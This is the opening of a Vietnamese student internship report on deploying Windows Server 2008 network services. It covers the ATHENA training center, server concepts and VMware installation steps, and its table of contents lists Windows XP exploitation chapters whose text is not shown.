Lê hữu bằng _đồ án cuối kỳ các chính sách win server 2008

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Trang 1

Sinh viên: Lê Hữu Bằng

TRUNG TÂM ĐAO TAO QUAN TRI MANG CÔNG HOA XA HÔI CHU NGHIA VIÊT NAM

VA AN NINH MANG QUÔC TÊ ATHENA Đôc lâp - Tư do - Hanh phuc

----------------------- ----------------

NHIÊM VU THƯC HIÊN KHOA LUÂN

Ho va tên SV: Lê Hữu Bằng MSSV: 12CTCL1

Chuyên nganh: Quan tri mang

Tên đê tai: Nghiên cưu va triên khai cac dich vu mang trên Windows Server 2008

Nôi dung thưc hiên:

Ly thuyêt

Năm vững cac bươc thưc hiên Quan tri Windows Server 2008

Co kha năng tư thiêt lâp môt may tinh, câu hinh mang, điêu chinh kha năng hoat

đông cua may tinh, vân hanh hê thông mang, giai quyêt sư cô, cac phương phap bao

vê trươc nguy cơ virus, worm, trojan, spam.

Thưc hanh:

Cai đăt Windows Server 2008

Nâng câp Stand Alone thanh Domain Controller

Cai đăt Windows 7

John Domain cho Windows 7

Tao user account trên AD, thiêt lâp policy cho phep User đươc quyên thay đôi ngay

giơ hê thông.

Backup cho Domain Controller

Quan ly dich vu DNS, Mail, DHCP, Web, VPN trên môi trương Local va Internet.

Thưc hiên kêt nôi VPN, Mail Server, Web Server trên may ao VPS.

Thơi gian thưc hiên: 20/03/2015 đên 20/05/2015.

Tp.HCM, Ngay 20 thang 5 năm 2015

GIAM ĐÔC TRUNG TÂM GIANG VIÊN HƯƠNG DÂN

(Ky, ghi ro ho tên) (Ky, ghi ro ho tên)


Trang 2


LỜI CẢM ƠN

Sau môt thơi gian thưc hiên, đê tài nghiên cưu “Nghiên cứu và triển khai các

dịch vụ mạng trên Windowns Server 2008” đã phần nào hoàn thành. Ngoài sư cô

găng cua ban thân em còn nhân đươc sư giup đỡ nhiêt tình từ thầy cô, ban bè, các

anh, chi nơi em thưc tâp.

Trươc hêt em xin cam ơn cac thầy cô giáo bô môn CÔNG NGHÊ THÔNG

TIN TRƯỜNG CAO ĐẲNG NGHỀ LADEC đã giup đỡ em trong quá trình hoc

tâp. Đăc biêt là thầy PHẠM PHONG PHÚ đã tân tinh giup đỡ em trong suôt quá

trình thưc hiên đê tài.

Xin cam ơn cac quy thầy cô tai TRUNG TÂM ĐÀO TẠO QUẢN TRỊ

MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA, đăc biêt là thầy VÕ ĐỖ

THẮNG đã tao điêu kiên cho em đươc thưc tâp và hoc hỏi các kinh nghiêm thưc tê

đê hoan thanh đê tài này.

Em xin chân thành cam ơn !


Trang 3


NHẬN XÉT (cua cán bô hương dẫn tai công ty thưc tâp)

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

XÁC NHẬN CUA CƠ QUAN TP.HCM, ngay… thang… năm 2015

GIAM ĐÔC CÁN BÔ HƯƠNG DÂN

(ky tên, đong dâu) (ký tên)


Trang 4


NHẬN XÉT (cua giang viên hương dẫn tai khoa)

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

...................................................................... .................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

....................................................................................... ................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.......................................................................................................................................

.................................................................................................................................... ...

.......................................................................................................................................

.......................................................................................................................................

TP.HCM, ngay… thang… năm 2015

CÁN BÔ HƯƠNG DÂN

(ký tên)


Trang 5


LỜI MỞ ĐẦU ------

Đê đap ưng đươc những yêu cầu cần thiêt từ những công viêc trong lĩnh vưc

công nghê thông tin thì viêc thương xuyên nghiên cưu, tìm hiêu, phân tích các công

nghê mơi là yêu tô mang tính câp thiêt đôi vơi bât kỳ kỹ sư công nghê thông tin.

Hiên nay, đa sô các hê thông vẫn còn sử dung hê thông mang hoat đông trong môi

trương domain trên nên Windows Server 2003 hoăc thâp hơn va thơi gian sử dung

cua các hê điêu hanh nay đã đên hoăc qua 10 năm, săp hêt đươc sư hỗ trơ từ

Microsoft (Windows Server 2000 la điên hình) và nguy cơ bi tân công từ các lỗ

hông là rât cao. Nhưng do hoat đông cua các hê thông này còn rât tôt, ôn đinh nên

quan tri viên rât ngai nâng câp hê thông mơi do phai băt đầu câu hình lai tât ca. Và

các dich vu mang cua hê thông mơi có nhiêu tiên ích thuân tiên giúp ngươi quan tri

có thê quan lý nhanh và dễ dang hơn. Đê theo kip thơi đai va đê hê thông cua mình

có thê đươc hỗ trơ tôt nhât và tương thích vơi những san phẩm mơi như SharePoint

2010, SQL 2010, Windows 7… ta cần phai nâng câp hê thông sao cho phù hơp.

Đê tìm hiêu vê quá trình nâng câp hê thông từ Windows Server 2003 lên Windows

Server 2008 và môt sô dich vu mang cua Window Server 2008, em xin chon đê tài:

“Nghiên cứu và triển khai các dịch vụ mạng của hệ thống windows server 2008”


Trang 6


MUC LUC

CHƯƠNG 1: LICH SỬ HÌNH THÀNH TRUNG TÂM ĐAO TAO QUAN TRI

MANG VÀ AN NINH MANG QUÔC TÊ ATHENA................................................... 8

1. Giơi thiêu doanh nghiêp thưc tâp – Trung Tâm Đao Tao Quan Tri Mang và An

Ninh Mang Quôc Tê ATHENA ........................................................................................ 8

1.1 Tru sở chính và chi nhánh ...................................................................................... 9

1.1.1 Tru sở chính ...................................................................................................... 9

1.1.2 Cơ sở 2 tai TP Hồ Chí Minh........................................................................... 9

1.2 Nhiêm vu và chưc năng hoat đông........................................................................ 9

1.3 Các san phẩm .........................................................................................................10

1.3.1 Các khóa hoc dài han: ...................................................................................10

1.3.2 Các khóa hoc ngăn han: ................................................................................10

1.4 Khách hàng.............................................................................................................11

1.5 Đôi tác.....................................................................................................................11

1.6 Cơ câu tô chưc .......................................................................................................12

1.7 Thơi gian thưc tâp .................................................................................................12

CHƯƠNG 2: TỔNG QUAN ÐỀ TÀI ............................................................................13

1 Nôi dung thưc tâp..........................................................................................................13

1.1 Nhiêm vu đươc giao ..............................................................................................13

1.2 Kiên thưc tìm hiêu .................................................................................................13

1.2.1 Giơi thiêu vê mang doanh nghiêp ................................................................13

1.3 Giơi thiêu vê windows Server 2008....................................................................14

1.3.1 Giơi thiêu vê mô hình Client-Server ..........................................................14

1.3.2 Giơi thiêu vê Windows Server 2008 ...........................................................17

CHƯƠNG 3: CAC BƯƠC THỰC HIÊN ÐỀ TÀI .......................................................21

1 Làm viêc vơi Windows Server 2008 trên môi trương máy ao VMWare ..............21

1.1 Cai đăt và câu hình máy chu Windows Server 2008 ........................................21

1.2 Khởi tao lần đăng nhâp đầu tiên cua windows server 2008.............................28

1.3 Câu hình Domain...................................................................................................43

1.3.1 Muc đich .........................................................................................................43

1.3.2 Mô hình. ..........................................................................................................43

1.3.3 Cac bươc thưc hiên ........................................................................................43

1.4 Cai đăt dich vu DNS .............................................................................................60

1.5 Câu hình DHCP .....................................................................................................77

2 Làm viêc vơi Windows Sever 2008 trên máy chu ao VPS......................................92


Trang 7


2.1 Giơi thiêu vê máy chu ao VPS.............................................................................92

2.2 Mail Server .............................................................................................................94

2.3 Cai đăt và câu hình Web Server trên VPS ...................................................... 109

2.3 Cai đăt và câu hình Web Server trên VPS ................................................... 109

3 Bao mât windows....................................................................................................... 125

3.1 Khai thác lỗ hỏng trên Windows XP vơi mã lỗi MS10_042 ........................ 125

3.2 Khai thác lỗ hỏng bao mât Win XP mã lỗi MS12_004 ................................. 133

3.3 Khai thác lỗ hông trên Win XP vơi mã lỗi MS12_027 ................................. 142

4 Các kêt qua đat đươc ................................................................................................. 149

4.1 Kinh nghiêm thưc tê ........................................................................................... 149

4.2 Hoàn thiên ban thân ........................................................................................... 149

4.3 Các kiên thưc đươc lĩnh hôi .............................................................................. 150

CHƯƠNG 4: KÊT LUẬN............................................................................................. 151

CHƯƠNG 5 : TAI LIÊU THAM KHAO ................................................................... 152


Trang 8


CHƯƠNG 1: LỊCH SỬ HÌNH THÀNH TRUNG TÂM ĐÀO TẠO

QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA

1. Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị

Mạng và An Ninh Mạng Quốc Tế ATHENA

Trung Tâm Đao Tao Quan Tri Mang và An Ninh Mang Quôc Tê ATHENA,

tiên thân la Công ty TNHH Tư vân va Đao tao quan tri mang Viêt Năng, (tên

thương hiêu viêt tăt la TRUNG TÂM ĐAO TAO ATHENA), đươc chính thưc thành

lâp theo giây phép kinh doanh sô 4104006757 cua Sở Kê Hoach Đầu Tư Tp Hồ

Chí Minh câp ngay 04 thang 11 năm 2008.

Hình 1: Anh cac cơ sở cua trung tâm Athena

Tên giao dich nươc ngoài: ATHENA ADVICE TRAINING NETWORK

SECURITY COMPANY LIMITED.

ATHENA là môt tô chưc quy tu nhiêu trí thưc trẻ Viêt Nam đầy năng đông,

nhiêt huyêt và kinh nghiêm trong lĩnh vưc công nghê thông tin. Vơi quyêt tâm góp

phần vào công cuôc thuc đẩy tiên trình tin hoc hóa cua nươc nhà.


Trang 9


1.1 Trụ sở chính và chi nhánh

1.1.1 Trụ sở chính

Trung Tâm Đao Tao Quan Tri Mang và An Ninh Mang Quôc Tê ATHENA.

Sô 2 Bis Đinh Tiên Hoang, Phương Đa Kao, Tp Hồ Chí Minh, Viêt Nam.

Điên thoai: (84-8) 3824 4041.

Hotline: 094 323 00 99.

1.1.2 Cơ sở 2 tại TP Hồ Chí Minh

Trung Tâm Đao Tao Quan Tri Mang và An Ninh Mang Quôc Tê ATHENA

92 Nguyễn Đinh Chiêu, Phương Đa Kao, Quân 1, Tp Hồ Chí Minh,

ViêtNam.

Website: www.Athena.Edu.Vn

Điên thoai: (84-8) 2210 3801.

Hotline: 094 320 00 88.

1.2 Nhiệm vụ và chức năng hoạt động

Trung tâm Athena đã va đang tâp trung chu yêu vao đao tao chuyên sâu

quan tri mang, an ninh mang, thương mai điên tử theo các tiêu chuẩn quôc tê cua

các hãng nôi tiêng như Microsoft, Cisco, Oracle, Linux LPI, CEH,...Song

song đo, Trung tâm Athena còn có những chương trinh đao tao cao câp và cung câp

nhân sư CNTT, quan tri mang, an ninh mang chât lương cao theo đơn đăt hàng cua

cac đơn vi như Bô Quôc Phòng, Bô Công An, ngân hàng, doanh nghiêp, cac cơ

quan chính phu, tô chưc,…

Ngoai chương trinh đao tao, Trung tâm Athena còn có nhiêu chương trinh

hơp tac va trao đôi công nghê vơi nhiêu đai hoc lơn như đai hoc Bách Khoa Thành

Phô Hồ Chí Minh, Hoc Viên An Ninh Nhân Dân (Thu Đưc), Hoc Viên Bưu Chinh

Viễn Thông, Hiêp hôi an toàn thông tin (VNISA), Viên Kỹ Thuât Quân Sư,......

http://www.athena.edu.vn/


Trang 10


1.3 Các sản phẩm

1.3.1 Các khóa học dài hạn:

- Chương trinh đao tao chuyên gia an ninh mang, (AN2S) Athena

network security specialist.

- Chương trinh Quan tri viên an ninh mang, (ANST) Athena network

security

- Technician.

- Chuyên viên quan tri mang nâng cao, (ANMA) Athena network

manager Administrator.

1.3.2 Các khóa học ngắn hạn:

- Khóa Quan tri mang

- Quan tri mang Microsoft căn ban ACBN.

- Quan tri hê thông mang Microsoft MCSA Security.

- Quan tri mang Microsoft nâng cao MCSE.

- Quan tri window Vista.

- Quan tri hê thông Window Server 2008, 2012.

- Lơp Master Exchange Mail Server.

- Quan tri mang quôc tê Cissco CCNA.

- Quan tri hê thông mang Linux 1 và Linux 2.

- Khóa thiêt kê web và bao mât mang

- Xây dưng, quan tri web thương mai điên tử vơi Joomla và

VirtuMart.

- Lâp trình web vơi Php và MySQL.

- Bao mât mang quôc tê ACNS.

- Hacker mũ trăng.

- Athena Mastering Firewall Security.

- Bao mât website.

- Các san phẩm khác


Trang 11


- Chuyên đê thưc hanh sao lưu va phuc hồi dữ liêu.

- Chuyên đê thưc hành bao mât mang Wi_Fi.

- Chuyên đê Ghost qua mang.

- Chuyên đê xây dưng và quan tri diễn đan.

- Chuyên đê bao mât dữ liêu phòng chông nôi gián.

- Chuyên đê quan lý tài san công nghê thông tin.

- Chuyên đê kỹ năng thương mai điên tử.

- Các dich vu hỗ trơ.

- Đam bao viêc làm cho hoc viên tôt nghiêp khoá dài han.

- Giơi thiêu viêc làm cho moi hoc viên.

- Thưc tâp co lương cho hoc viên khá giỏi.

- Ngoài giơ hoc chính thưc, hoc viên đươc thưc hành thêm miễn

phí, không giơi han thơi gian.

- Hỗ trơ thi Chưng chi Quôc tê

1.4 Khách hàng

Moi đôi tương chuyên hoăc không chuyên vê CNTT.

Khách hàng chu yêu cua ATHENA là các ban hoc sinh, sinh viên và các cán

bô công nhân viên chưc yêu thich lĩnh vưc công nghê thông tin.

1.5 Đối tác

Trung tâm đao tao an ninh mang ATHENA la đôi tac đao tao & cung

câp nhân sư CNTT, quan tri mang, an ninh mang chât lương cao theo đơn đăt

hang cho cac đơn vi ngân hang, doanh nghiêp, cac cơ quan chinh phu, tô

chưc tai chinh…


Trang 12


1.6 Cơ cấu tổ chức

Hình 1.6 Sơ đồ tổ chức công ty

1.7 Thời gian thực tập

Từ ngày 20/03/2015 đên ngày 20/05/2015


Trang 13


CHƯƠNG 2: TỔNG QUAN ÐỀ TÀI

1 Nội dung thực tập

1.1 Nhiệm vụ được giao

Nghiên cưu các dich vu mang trên Windows Server 2008

Triên khai các dich vu mang trên Windows Server 2008

Xây dưng va quan tri Web bằng mã nguồn mở Wordpress

Bao mât windows, xac đinh các lỗ hông trên windows

1.2 Kiến thức tìm hiểu

1.2.1 Giới thiệu về mạng doanh nghiệp

Hê thông mang cua doanh nghiêp đơn gian hay phưc tap là tùy theo

quy mô và loai hình cua doanh nghiêp. Ngày nay, các nhà cung ưng đã đưa

ra rât nhiêu sư chon lưa cho doanh nghiêp như cho phep doanh nghiêp tư

trang bi, tư quan lý hoăc sử dung dich vu. Những doanh nghiêp lơn vơi hàng

ngan may tinh cũng co những giai pháp quan ly đăc thù kêt hơp ca phần

cưng và phần mêm.

Hầu hêt các doanh nghiêp đêu có nhu cầu sử dung các ưng dung công

nghê thông tin (CNTT) ở những mưc đô khác nhau. Do vây, ho sẽ có những

nhu cầu khác nhau vê quan tri hê thông mang (network) cua doanh nghiêp.

Môt hê thông đươc kiêm soát tôt sẽ làm giam đang kê chi phí hoat đông,

nâng cao hiêu qua cũng như đô tin cây cua hê thông.

Các thành phần công nghê trong mang doanh nghiêp

Tùy vào qui mô lơn hay nhỏ cua doanh nghiêp mà ta sẽ có những giai

pháp công nghê và thiêt kê sao cho phù hơp nhât.

Hiên nay, hầu hêt các ưng dung mơi đêu yêu cầu rât nhiêu tài nguyên

cua hê thông va băng thông mang, cũng như cac yêu cầu vê điêu khiên, giám

sát mang. Vây làm thê nao đê môt doanh nghiêp vừa và nhỏ, vơi môt sô vôn

đầu tư ban đầu han chê, có thê tiêp cân đươc vơi các công nghê hiên đai, băt

kip sư phát triên cua thê giơi.


Trang 14


1.3 Giới thiệu về windows Server 2008

1.3.1 Giới thiệu về mô hình Client-Server

Điêu đang ngac nhiên là nhiêu công ty ngày nay vẫn không quan tâm

đên viêc thưc hiên môt mang lươi client/server. Thay vao đo ho chi tiêp tuc

thêm vào các máy tram đê thưc hiên mô hình mang peer-to-peer. Mang peer-

to-peer không cung câp cho ban nhiêu cách bao mât và chia sẽ tài nguyên. Vì

vây, không có gì ngac nhiên khi ho thương có vân đê vơi viêc truy câp vào

máy tram, bi mât dữ liêu do virus, spyware hay phai trai nghiêm viêc internet

bi gian đoan. Máy tính nôi mang theo mô hình peer-to-peer la đu khi ban chi

có môt vai ngươi dung trên mang, nhưng khi co nhiêu hơn 5 hoăc 6 ngươi sử

dung trên mang cua ban, ban thưc sư phai xem xet đầu tư môt máy chu

mang.

Vây lơi ích cua mô hình Client-Server cu thê là gì?

Tập tin và an ninh mạng: Vai trò quan trong nhât cua môt máy chu

tâp tin là an ninh mang mà nó cung câp. Bằng cách tao ra các tài khoan

ngươi dùng cá nhân và nhóm, có thê câp quyên cho nhóm và cá nhân khai

thác dữ liêu đươc lưu trữ trên mang, ngăn chăn ngươi sử dung trái phép truy

câp tài liêu mà ho không nên xem. Ví du, trong Folder chung thì group

ketoan và group nhansu có quyên truy câp ua nhân viên…


Trang 15


Hình 1.3.1 Cấu hình NTFS Permission

Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiêu máy chu đươc

trang bi nguồn điên dư phòng. Vơi môt nguồn cung câp năng lương thư câp

chay song song, sư mât mát cua môt trong những nguồn cung câp điên không

anh hưởng đên hoat đông hê thông binh thương. Cũng vây vơi hê thông lưu

trữ cua máy chu. Không giông như môt may tinh đê bàn trung bình có sử

dung môt ô cưng duy nhât, môt máy chu sẽ thương sử dung nhiêu ô đĩa cưng

làm viêc trong môt RAID câu hinh đê ngăn ngừa mât dữ liêu hoăc môt sư

gian đoan trong quy trình làm viêc. Ngoài ra, nhiêu máy chu cũng đươc trang

bi ô đĩa cưng hot swappable và nguồn cung câp điên. Các thành phần này có

thê thay thê nóng cho phép ban thay thê phần cưng bi lỗi mà không gián

đoan toàn bô văn phòng. Ngoài ra, kê từ khi tât ca các dữ liêu nhân viên đang

đươc lưu trữ trên mang, nêu máy tram cua ngươi dùng không giữa ngày làm

viêc, nhân viên có thê truy câp các tâp tin tương tư từ máy tram khác.

Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Vơi môt máy chu

mang, tât ca ngươi dùng trên mang có thê sử dung các tài nguyên mang khác

nhau ngay từ bàn làm viêc, tăng hiêu qua. Môt sô trong những nguồn tài

nguyên bao gồm:


Trang 16


Tâp trung lưu trữ dữ liêu ( RAID Array )

Network Attached Storage (NAS) thiêt bi

Thap đĩa CD / DVD

Máy in và máy chu Fax

Quản lý virus : Môt trong những môi đe doa lơn nhât đôi vơi mang

cua ban là kha năng lây nhiễm từ virus, phần mêm gian điêp va thư rac. Vi

vây, có tôt, câp nhât, phần mêm chông virus đươc cai đăt trên hê thông cua

ban là môt điêu cần thiêt. Trong môt văn phòng cua 10 ngươi hoăc it hơn, hê

thông có thê đươc duy trì riêng. Bât cư điêu gì nhiêu hơn thê, tuy nhiên, có

thê trở thành môt gánh năng thưc sư. Trong những trương hơp này, môt gói

phần mêm chông virus kêt hơp máy tram và bao vê chông virus máy chu vào

môt giai pháp duy nhât co y nghĩa hơn.

Sao lưu tập trung: Tât ca các doanh nghiêp nên sao lưu dữ liêu cua

ho môt cach thương xuyên. Bởi có tât ca các công ty cua ban và dữ liêu nhân

viên đươc lưu trữ tai môt đia điêm, ban sao lưu co thê đươc thưc hiên đang

tin cây và nhanh chóng. Vì vây, ban sẽ không bao giơ cần phai lo lăng vê

những dữ liêu đươc lưu trữ trên những gì máy tram như ban làm trong môt

mang peer-to-peer. Ngày nay, hầu hêt các loai phương tiên truyên thông có

thê đươc sử dung cho muc đich sao lưu. Ngoai cac ô đĩa truyên thông băng,

đĩa CD, DVD, lưu trữ và thâm chí loai bỏ Network Attached Storage (NAS)

thiêt bi này là châp nhân đươc. Sư lưa chon cua ban cua phương tiên truyên

thông sẽ phu thuôc vào yêu cầu cu thê cua ban sao lưu. Tùy thuôc vào ngân

sách cua ban và nhu cầu lưu giữ dữ liêu cua ban, bât kỳ trong sô này sẽ là

môt giai pháp châp nhân đươc. Hãy chăc chăn rằng ban có ít nhât môt ban

sao lưu hang tuần theo lich trình, măc dù hàng ngày sẽ tôt hơn.


Trang 17


1.3.2 Giới thiệu về Windows Server 2008

Window Server 2008 là hê điêu hành Windows Server tân tiên nhât

cho tơi thơi điêm nay, đươc thiêt kê nhằm tăng sưc manh cho các mang, ưng

dung và dich vu Web thê hê mơi. Vơi Windows Server 2008, ban có thê phát

triên, cung câp và quan lý các trai nghiêm ngươi dùng và ưng dung phong

phu, đem tơi môt ha tầng mang có tính bao mât cao, va tăng cương hiêu qua

vê măt công nghê và giá tri trong pham vi tô chưc cua mình.

Windows Server 2008 kê thừa những thành công và thê manh cua các

hê điêu hành Windows Server thê hê trươc, đồng thơi đem tơi tinh năng mơi

có giá tri và những cai tiên manh mẽ cho hê điêu hanh cơ sở này. Công cu

Web mơi, công nghê ao hóa, tính bao mât tăng cương và các tiên ích quan lý

giúp tiêt kiêm thơi gian, giam bơt cac chi phi, va đem tơi môt nên tang vững

chăc cho ha tầng Công nghê Thông tin (CNTT) cua ban.

Nền tảng chắc chắn dành cho doanh nghiệp

Windows Server 2008 đem tơi môt nên tang chăc chăn đap ưng tât ca

các yêu cầu vê ưng dung và chê đô làm viêc cho máy chu, đồng thơi dễ triên

khai và quan lý. Thành phần mơi Server Manager cung câp môt console quan

lý hơp nhât, đơn gian hóa và săp xêp môt cách hơp lý viêc cai đăt, câu hình

và quan lý liên tuc cho máy chu. Windows PowerShell, môt shell mơi kiêu

dòng lênh, giúp quan tri viên tư đông hóa các tác vu thương trình vê quan tri

hê thông trên nhiêu máy chu. Windows Deployment Services đem tơi môt

phương tiên bao mât cao, đơn gian hoa đê nhanh chóng triên khai hê điêu

hanh nay qua cac bươc cai đăt trên nên mang.Thêm vao đo, cac wizard

Failover Clustering cua Windows Server 2008, và viêc hỗ trơ đầy đu cho

Giao thưc Internet phiên ban 6 (goi tăt là IPv6) công vơi kha năng quan lý

hơp nhât Network Load Balancing khiên dễ dàng triên khai vơi tính sẵn có

cao, thâm chí bởi những ngươi có hiêu biêt chung nhât vê CNTT.

Tùy chon cai đăt mơi Server Core cua Windows Server 2008 cho

phep cai đăt các vai trò máy chu chi vơi những thành phần và hê thông phu


Trang 18


cần thiêt mà không cần giao diên ngươi dùng. Viêc co it hơn cac vai trò và

đăc tinh đồng nghĩa vơi viêc giam thiêu công viêc cho ô đĩa va dich vu, đồng

thơi giam bơt các bê măt tân công. San phẩm cũng cho phep nhân viên

CNTT xây dưng đăc ta tùy theo các vai trò máy chu cần hỗ trơ.

Tích hợp Công nghệ Ảo hóa (Virtualization)

Windows Server Hyper-V, công nghê ao hóa thê hê kê tiêp dành cho

máy chu trên nên hypervisor, cho phép tân dung tôi đa cac khoan đầu tư vao

phần cưng máy chu bằng cách hơp nhât nhiêu vai trò máy chu thành các máy

ao riêng biêt chay trên môt máy vât lý duy nhât. Cũng co thê chay song song

nhiêu hê điêu hanh như Windows, Linux va cac hê điêu hành khác môt cách

hiêu qua trên môt máy chu duy nhât. Vơi Hyper – V và các chính sách câp

phep đơn gian, giơ đây co thê tân dung lơi thê cua các khoan tiêt kiêm chi

phí và ao hóa môt cách dễ dang hơn bao giơ hêt.

Hình 1.3.2-1 Mô hình ảo hóa

Nhơ các công nghê truy câp ưng dung tâp trung cua Windows Server

2008, các ưng dung cũng đươc ao hóa môt cách hiêu qua. Terminal Services

Gateway và Terminal Services RemoteApp cho phép dễ dàng truy câp từ xa


Trang 19


tơi cac chương trinh chuẩn hoat đông trên nên Windows từ bât cư vi trí nào

bằng cách chay chương trinh trên môt máy chu đầu cuôi thay vì chay trưc

tiêp trên môt máy tram mà không cần tơi môt mang riêng ao (VPN) phưc tap.

Được xây dựng phục vụ Web

Windows Server 2008 xuât hiên vơi Internet Information Services 7.0

(IIS 7.0), môt nên tang máy chu Web dễ sử dung, tăng cương bao mât đê

phát triên va lưu trữ các ưng dung và dich vu Web môt cách tin cây. Đăc tính

nâng cao quan trong đôi vơi nên tang Web IIS 7.0 bao gồm môt kiên trúc

đươc thành phần hoa đê đem tơi kha năng linh hoat và kiêm soat cao hơn.

II.7.0 cũng cung câp các kha năng quan ly đươc đơn gian hóa, kha năng khăc

phuc sư cô manh mẽ, mang tính chẩn đoan giup tiêt kiêm thơi gian và kha

năng mở rông toàn diên.

Internet Information Server IIS 7.0 cùng vơi .NET Framework 3.0

cung câp môt nên tang toàn diên đê xây dưng các ưng dung kêt nôi ngươi

dùng và dữ liêu, cho phép ho hình anh hóa, chia sẻ và thao tác thông tin.

Thêm vao đo, IIS 7.0 còn đong vai trò trung tâm trong viêc hơp nhât các

công nghê nên tang Web cua Microsoft – ASP.NET, các dich vu Web cua

Windows Communication Foudation, và Windows Sharepoint Services.

Hình 1.3.2-2 Giao diện Internet Information Services (IIS) Manager


Trang 20


Bảo mật cao

Windows Server 2008 là hê điêu hành Windows Server bao mât nhât từ

trươc đên giơ. Hê điêu hanh nay đã đươc cung cô chăc chăn đê giúp bao vê chông

lai hỏng hóc. Môt sô công nghê mơi giup ngăn chăn các kêt nôi bât hơp pháp tơi các

mang, máy chu, dữ liêu cua ban và các tài khoan ngươi dùng. Chưc năng Network

Access Protection (NAP) giup đam bao rằng những máy tính nào muôn kêt nôi vơi

mang cua ban đêu phai tuân thu chính sách bao mât cua tô chưc. Viêc tích hơp công

nghê và nhiêu tinh năng nâng cao khiên các dich vu Active Directory trở thành môt

giai pháp IDA (Identity and Access - Nhân dang và Truy câp) tích hơp, hơp nhât và

manh mẽ. Thêm vao đo, Read-Only Domain Controller (RODC) và Mã hóa ô đĩa

bằng BitLocker cho phép ban triên khai cơ sở dữ liêu AD môt cách bao mât hơn

trên khăp các khu vưc cua văn phòng chi nhanh.

Tính toán hiệu năng cao

Lơi ích và các khoan tiêt kiêm chi phí cua Windows Server 2008 mở rông tơi

Windows HPC Server 2008 đê phuc vu cho môi trương tính toán hiêu năng cao

(HPC) cua ban. Windows HPC Server 2008 đươc xây dưng trên nên Windows

Server 2008, công nghê 64 bit và có thê mở rông môt cách hiêu qua tơi hàng nghìn

lõi xử lý vơi tinh năng co sẵn đê cai thiên hiêu suât, và giam tính phưc tap cua môi

trương HPC. Windows HPC Server 2008 cho phép triên khai rông rãi hơn bằng

cach đem tơi cho ngươi dùng cuôi những trai nghiêm phong phú và tích hơp, mở

rông từ ưng dung máy bàn tơi các cum máy, và bao gồm môt bô tron vẹn các công

cu triên khai, quan tri và giám sát. Các công cu này dễ triên khai, quan lý và tích

hơp vơi ha tầng CNTT hiên có cua ban.


Trang 21


CHƯƠNG 3: CÁC BƯỚC THƯC HIÊN ÐỀ TÀI

1 Làm việc với Windows Server 2008 trên môi trường máy ảo

VMWare

1.1 Cài đặt và cấu hình máy chủ Windows Server 2008

Xac đinh yêu cầu phần cưng:

Hình 1.1 Cấu hình cai đặt Windows Server 2008.

Cac bươc cai đăt Windows Server 2008 (cai đăt trên môi trương máy

ao VMware Workstation)

- Mở máy ao VMware Worksttion

Hình 1.1-1

- Click File & New Vitual Machine


Trang 22


Hình 1.1-2

- Xuât hiên hôp thoai New Vitual Machine Wizard & Click Next.

Hình 1.1-3


Trang 23


- Nêu cai đăt bằng đĩa Window Server 2008 thi chon Installer disc. Nêu co file

ISO thi click Installer disc image file (iso) và click Browse… & chon đương dẫn

đên nơi chưa file ISO.

Hình 1.1-4


Trang 24


- Nhâp Windows product key hoăc đê trông rồi Click Next.

Hình 1.1-5

- Chon Location nơi Windows Server sẽ cai đăt ô đĩa. Click Next.


Trang 25


Hình 1.1-6

- Nhâp dung lương ô đĩa vao ô Maximum disk size khuyên nghi là 40 GB, click

Next.

Hình 1.1-7


Trang 26


- Click Finish đê tiên hanh cai đăt.

Hình 1.1-8

- Đang trong tiên trinh cai đăt

Hình 1.1-9


Trang 27


- Sau khi cai đăt xong, trong lần đăng nhâp đầu tiên, hê thông yêu cầu ban thay

đôi mât khẩu ngay lâp tưc

Hình 1.1-10

- Ban bâm OK, nhâp mât khẩu mơi và bâm Enter

Hình 1.1.11

Hoan tât cai đăt Windows Server 2008


Trang 28


1.2 Khởi tạo lần đăng nhập đầu tiên của windows server 2008

Ngay khi ban đăng nhâp thành công, hê thông hiên thi màn hình yêu cầu

thưc hiên các thao tác câu hinh ban đầu cho Windows (Initial Configuration Tasks).

Trong đo bao gồm :

- Set time zone: thiêt lâp time zone cho server.

- Configure networking: thiêt lâp các thông sô kêt nôi mang bằng cách

mở cửa sô Network Connections va tương tac vơi các kêt nôi hiên có trên server.

- Provide computer name and domain: mở hôp hôi thoai System

Properties đê thay đôi tên máy tính và kêt nôi vào Domain.

- Enable automatic updating and feedback: kích hoat tinh năng nay đê

cho phép ban câu hình Windows automatic updating, Windows Error Reporting và

Customer Experience Improvement Program.

Hình 1.2-1 Màn hình Initial Configuration Task


Trang 29


Hình 1.2-2 Kích hoạt tính năng automatic updating and feedback

Cài đặt Server Manager

Ngay khi kêt thuc cac bươc câu hinh va đong man hinh Initial

Configuration Tasks, màn hình Server Manager tư đông đươc kích hoat. Tai đây,

ta có thê thưc hiên hầu hêt các thao tác câu hình trên server.

Hình 1.2-3 Màn hình chính của Server Manager

